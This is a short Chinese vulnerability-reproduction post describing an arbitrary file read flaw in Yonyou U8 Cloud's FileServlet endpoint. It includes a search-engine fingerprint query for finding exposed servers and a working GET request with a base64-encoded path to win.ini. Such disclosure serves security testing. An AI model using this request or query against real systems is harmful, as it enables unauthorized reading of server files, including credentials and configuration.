【漏洞复现】用友-U8C-FileServlet-文件读取

 

0x01 产品简介

用友U8Cloud是用友网络科技股份有限公司（简称“用友网络”）推出的一款云端企业管理软件。用友U8Cloud提供了全面的企业管理功能，包括财务管理、人力资源管理、供应链管理、采购管理、销售管理等。支持多种业务模式，适用于不同行业和企业规模的需求，帮助企业实现数字化转型和云端化管理。

0x02 漏洞概述

用友U8C-FileServlet接口存在一个任意文件读取漏洞，攻击者可以通过构造精心设计的请求，成功利用漏洞读取服务器上的任意文件，包括敏感系统文件和应用程序配置文件等。通过利用此漏洞，攻击者可能获得系统内的敏感信息，导致潜在的信息泄露风险。

0x03 网络测绘

app="用友-U8-Cloud" || body="/api/uclient/public/"

0x04 漏洞复现

GET /service/~hrpub/nc.bs.hr.tools.trans.FileServlet?path=QzovL3dpbmRvd3Mvd2luLmluaQ== HTTP/1.1

 

原文始发于微信公众号（知黑守白）：【漏洞复现】用友-U8C-FileServlet-文件读取